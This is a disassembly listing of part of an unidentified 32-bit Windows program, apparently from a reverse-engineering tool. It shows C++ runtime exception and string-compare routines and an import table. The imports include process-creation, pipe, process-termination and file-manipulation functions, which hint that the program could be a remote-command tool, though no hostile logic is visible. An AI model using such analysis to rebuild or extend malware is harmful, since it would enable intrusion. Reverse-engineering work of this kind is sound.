		jz	short loc_41E078
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41E083
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41E087
		jmp	short loc_41E080
; ---------------------------------------------------------------------------


loc_41E078:				; CODE XREF: sub_41E02B+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41E08C


loc_41E080:				; CODE XREF: sub_41E02B+4Bj
		inc	ecx
		jmp	short loc_41E049
; ---------------------------------------------------------------------------


loc_41E083:				; CODE XREF: sub_41E02B+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E087:				; CODE XREF: sub_41E02B+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E08C:				; CODE XREF: sub_41E02B+25j
					; sub_41E02B+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41E02B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E09E	proc near		; CODE XREF: sub_408296+21p
					; sub_41DFC4+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41E0C5
		push	esi
		call	sub_413E90
		inc	eax
		push	eax
		call	sub_413F0B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41E0C5
		push	esi
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E0C5:				; CODE XREF: sub_41E09E+7j
					; sub_41E09E+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41E09E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E0D0	proc near		; CODE XREF: sub_40315F+15p
					; sub_4031B8+15p ...
		mov	eax, offset loc_41E65C
		call	sub_41459C
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_403362
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_413E90
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40339E
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41E12A
		lea	eax, [ebp-3Ch]
		push	offset dword_41FF78
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41FC34
		call	sub_41E5C3
		pop	esi
sub_41E0D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E12A	proc near		; CODE XREF: sub_41E0D0+3Fp
					; sub_41E2FC+3Fp
		mov	eax, offset loc_41E670
		call	sub_41459C
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_438A10
		call	sub_41E4E8
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_403362
		push	dword_41F240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40320F
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41FC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41E12A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E18E	proc near		; DATA XREF: seg001:0041FC38o
					; seg001:0041FC58o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41E19A
		mov	eax, offset dword_41F250

locret_41E19A:				; CODE XREF: sub_41E18E+5j
		retn
sub_41E18E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E19B	proc near		; DATA XREF: seg001:0041FC5Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41E211
		lea	eax, [ebp+var_1C]
		push	offset dword_41FFE8
		push	eax
		call	sub_41E5C3
sub_41E19B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E1B8	proc near		; CODE XREF: seg001:0041E1F8p
					; DATA XREF: seg001:0041FFECo
		mov	eax, offset loc_41E684
		call	sub_41459C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403362
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E56F
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41E1B8	endp

; ---------------------------------------------------------------------------


loc_41E1F5:				; DATA XREF: seg001:off_41FC54o
		push	esi
		mov	esi, ecx
		call	sub_41E1B8
		test	byte ptr [esp+8], 1
		jz	short loc_41E20B
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E20B:				; CODE XREF: seg001:0041E202j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41E211	proc near		; CODE XREF: sub_41E19B+Ap
					; sub_41E2E4+7p ...
		mov	eax, offset loc_41E698
		call	sub_41459C
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_41E525
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_403362
		push	dword_41F240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40320F
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41FC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41E211	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E26E	proc near		; CODE XREF: sub_41E2AB+20p
					; DATA XREF: seg001:0041FF7Co
		mov	eax, offset loc_41E6AC
		call	sub_41459C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403362
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E56F
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41E26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2AB	proc near		; DATA XREF: seg001:0041FC3Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41E2E4
		lea	eax, [ebp+var_1C]
		push	offset dword_41FF78
		push	eax
		call	sub_41E5C3


loc_41E2C8:				; DATA XREF: seg001:off_41FC34o
		push	esi
		mov	esi, ecx
		call	sub_41E26E
		test	[esp+20h+var_18], 1
		jz	short loc_41E2DE
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E2DE:				; CODE XREF: sub_41E2AB+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E2AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E2E4	proc near		; CODE XREF: sub_41E2AB+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41E211
		mov	dword ptr [esi], offset	off_41FC34
		mov	eax, esi
		pop	esi
		retn	4
sub_41E2E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2FC	proc near		; CODE XREF: sub_40320F+13p
					; sub_4033D3+Ep
		mov	eax, offset loc_41E6C0
		call	sub_41459C
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_403362
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_413E90
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40339E
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41E12A
		lea	eax, [ebp-3Ch]
		push	offset dword_4200A0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41FC64
		call	sub_41E5C3
		pop	esi
sub_41E2FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E356	proc near		; CODE XREF: sub_41E393+20p
					; DATA XREF: seg001:004200A4o
		mov	eax, offset loc_41E6D4
		call	sub_41459C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_403362
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E56F
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41E356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E393	proc near		; DATA XREF: seg001:0041FC6Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41E3CC
		lea	eax, [ebp+var_1C]
		push	offset dword_4200A0
		push	eax
		call	sub_41E5C3


loc_41E3B0:				; DATA XREF: seg001:off_41FC64o
		push	esi
		mov	esi, ecx
		call	sub_41E356
		test	[esp+20h+var_18], 1
		jz	short loc_41E3C6
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E3C6:				; CODE XREF: sub_41E393+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E393	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E3CC	proc near		; CODE XREF: sub_41E393+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41E211
		mov	dword ptr [esi], offset	off_41FC64
		mov	eax, esi
		pop	esi
		retn	4
sub_41E3CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3E4	proc near		; DATA XREF: seg001:00421008o

; FUNCTION CHUNK AT 0041E41A SIZE 0000000C BYTES

		test	byte_742518, 1
		jnz	short loc_41E3F4
		or	byte_742518, 1


loc_41E3F4:				; CODE XREF: sub_41E3E4+7j
		call	sub_41E40E
		test	byte_743898, 1
		jnz	short loc_41E409
		or	byte_743898, 1


loc_41E409:				; CODE XREF: sub_41E3E4+1Cj
		jmp	loc_41E41A
sub_41E3E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E40E	proc near		; CODE XREF: sub_41E3E4:loc_41E3F4p
		push	offset nullsub_1
		call	sub_414980
		pop	ecx
		retn
sub_41E40E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E3E4


loc_41E41A:				; CODE XREF: sub_41E3E4:loc_41E409j
		push	offset nullsub_1
		call	sub_414980
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_41E3E4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E428	proc near		; CODE XREF: sub_402AAF+5Ep
					; sub_4041D7+159p
		jmp	dword_41F1D8
sub_41E428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E42E	proc near		; CODE XREF: sub_414208+23p
					; sub_4144AC+13p
		jmp	dword_41F14C
sub_41E42E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E440	proc near		; CODE XREF: sub_403C2B+18Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_7422AC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41E493
		mov	al, 0FFh
		mov	edi, edi


loc_41E45C:				; CODE XREF: sub_41E440+28j
					; sub_41E440+48j
		or	al, al
		jz	short loc_41E48E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41E45C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41E45C
		sbb	al, al
		sbb	al, 0FFh


loc_41E48E:				; CODE XREF: sub_41E440+1Ej
		movsx	eax, al
		jmp	short loc_41E4C7
; ---------------------------------------------------------------------------


loc_41E493:				; CODE XREF: sub_41E440+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41E49C:				; CODE XREF: sub_41E440+68j
					; sub_41E440+80j
		or	al, al
		jz	short loc_41E4C7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41E49C
		push	eax
		push	ebx
		call	sub_415467
		mov	ebx, eax
		add	esp, 4
		call	sub_415467
		add	esp, 4
		cmp	bl, al
		jz	short loc_41E49C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41E4C7:				; CODE XREF: sub_41E440+51j
					; sub_41E440+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41E440	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4CC	proc near		; DATA XREF: seg001:off_41FC8Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41E56F
		test	[esp+4+arg_0], 1
		jz	short loc_41E4E2
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E4E2:				; CODE XREF: sub_41E4CC+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E4CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4E8	proc near		; CODE XREF: sub_41E12A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41FC8C
		push	dword ptr [edi]
		call	sub_413E90
		inc	eax
		push	eax
		call	sub_414905
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41E517
		push	dword ptr [edi]
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx


loc_41E517:				; CODE XREF: sub_41E4E8+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41E4E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E525	proc near		; CODE XREF: sub_41E211+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41FC8C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_41E562
		push	dword ptr [edi+4]
		call	sub_413E90
		inc	eax
		push	eax
		call	sub_414905
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41E568
		push	dword ptr [edi+4]
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx
		jmp	short loc_41E568
; ---------------------------------------------------------------------------


loc_41E562:				; CODE XREF: sub_41E525+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_41E568:				; CODE XREF: sub_41E525+2Ej
					; sub_41E525+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41E525	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E56F	proc near		; CODE XREF: sub_41E1B8+2Bp
					; sub_41E26E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41FC8C
		jz	short locret_41E584
		push	dword ptr [ecx+4]
		call	sub_4145BB
		pop	ecx

locret_41E584:				; CODE XREF: sub_41E56F+Aj
		retn
sub_41E56F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E585	proc near		; DATA XREF: seg001:0041FC90o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_41E591
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_41E591:				; CODE XREF: sub_41E585+5j
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E592	proc near		; CODE XREF: seg001:0041E5AAp
		mov	dword ptr [ecx], offset	off_41FCAC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_41E5A6
		push	ecx
		call	sub_413F7F
		pop	ecx

locret_41E5A6:				; CODE XREF: sub_41E592+Bj
		retn
sub_41E592	endp

; ---------------------------------------------------------------------------


loc_41E5A7:				; DATA XREF: seg001:off_41FCACo
		push	esi
		mov	esi, ecx
		call	sub_41E592
		test	byte ptr [esp+8], 1
		jz	short loc_41E5BD
		push	esi
		call	sub_4145BB
		pop	ecx


loc_41E5BD:				; CODE XREF: seg001:0041E5B4j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5C3	proc near		; CODE XREF: sub_41E0D0+54p
					; sub_41E19B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41FCB0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_41F17C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_41E5C3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E600	proc near		; DATA XREF: seg001:0041FE7Co

; FUNCTION CHUNK AT 00403157 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_403157
sub_41E600	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_41E61E
		mov	ecx, [ebp+8]
		jmp	loc_403157
; ---------------------------------------------------------------------------

locret_41E61E:				; CODE XREF: seg001:0041E610j
		retn
; ---------------------------------------------------------------------------


loc_41E61F:				; DATA XREF: sub_402CEBo
		mov	eax, offset dword_41FE50
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_403157
; ---------------------------------------------------------------------------


loc_41E634:				; DATA XREF: seg001:0041FEACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_403157
; ---------------------------------------------------------------------------


loc_41E63C:				; DATA XREF: sub_402E8Do
		mov	eax, offset dword_41FE80
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4


loc_41E648:				; DATA XREF: sub_40343Ao
		mov	eax, offset dword_41FEB0
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_403157
; ---------------------------------------------------------------------------


loc_41E65C:				; DATA XREF: sub_41E0D0o
		mov	eax, offset dword_41FF88
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E670:				; DATA XREF: sub_41E12Ao
		mov	eax, offset dword_41FFB0
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E684:				; DATA XREF: sub_41E1B8o
		mov	eax, offset dword_41FFF8
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E698:				; DATA XREF: sub_41E211o
		mov	eax, offset dword_420020
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E6AC:				; DATA XREF: sub_41E26Eo
		mov	eax, offset dword_420048
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_403157
; ---------------------------------------------------------------------------


loc_41E6C0:				; DATA XREF: sub_41E2FCo
		mov	eax, offset dword_4200B0
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E6D4:				; DATA XREF: sub_41E356o
		mov	eax, offset dword_4200D8
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 10h
		dd 248h	dup(0)
dword_41F000	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_41F004	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableAdword_41F008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_41DB68+261r
dword_41F00C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_41DB68+B9r
dword_41F010	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_41F014	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_41F018	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_41C608:loc_41C65Br
dword_41F01C	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_41F020	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_41F024	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41BDA2+6r
dword_41F028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_41B513+12Dr
dword_41F02C	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_41B513+8Dr
dword_41F030	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_41AF6F+166r ...
dword_41F034	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_41B235+143r
dword_41F038	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_41F03C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_41F040	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_401447+96r ...
dword_41F044	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401447+1A7r ...
dword_41F048	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4010B2+2D4r ...
dword_41F04C	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_4018CB+FFr
dword_41F050	dd 7C802442h	; resolved to->KERNEL32.Sleep					; seg001:0040391Cr ...
dword_41F054	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_403C2B+2A8r ...
dword_41F058	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_403C2B+49Ar ...
dword_41F05C	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_404ECE+1C4r ...
dword_41F060	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_406059+58r ...
dword_41F064	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_4093C1+1B6r
dword_41F068	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_4093C1+19Fr
dword_41F06C	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_406059:loc_406195r ...
dword_41F070	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_406059+10Er ...
dword_41F074	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_405815+38r ...
dword_41F078	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_408701+10Fr ...
dword_41F07C	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_41F080	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTimedword_41F084	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTimedword_41F088	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_40517E+5ECr
dword_41F08C	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_41F090	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_408F94+BFr ...
dword_41F094	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_409DBE+259r ...
dword_41F098	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41F09C	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_41F0A0	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41F0A4	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_406782+22Fr
dword_41F0A8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4073B6:loc_40784Cr ...
dword_41F0AC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_417D6B+15r ...
dword_41F0B0	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_408701+FBr ...
dword_41F0B4	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_41F0B8	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_41F0BC	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLockdword_41F0C0	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_41F0C4	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_41F0C8	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_41F0CC	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_41F0D0	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_41F0D4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_408889+B4r ...
dword_41F0D8	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_41F0DC	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_40C2D0+1C2r ...
dword_41F0E0	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_40CC09+391Br
dword_41F0E4	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_41F0E8	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_41F0EC	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_41F0F0	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_41234D+Cr ...
dword_41F0F4	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipedword_41F0F8	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; seg001:0041292Br
dword_41F0FC	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_40A160+3Ar ...
dword_41F100	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_414D55+Dr
dword_41F104	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_40ACAF+DFr ...
dword_41F108	dd 7C8312E5h	; resolved to->KERNEL32.TransactNamedPipedword_41F10C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_419FC4+20Dr ...
dword_41F110	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_414A03+54r ...
dword_41F114	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; seg001:00412820r
dword_41F118	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_40CC09+4286r ...
dword_41F11C	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_4123B8+B9r ...
dword_41F120	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_41F124	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_41F128	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40C2D0+31Er
dword_41F12C	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_41F130	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_4133F9+2Br
dword_41F134	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_41F138	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_4123B8+21Br ...
dword_41F13C	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_41F140	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_41F144	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_4157BF+AFr ...
dword_41F148	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4169A4+2C4r ...
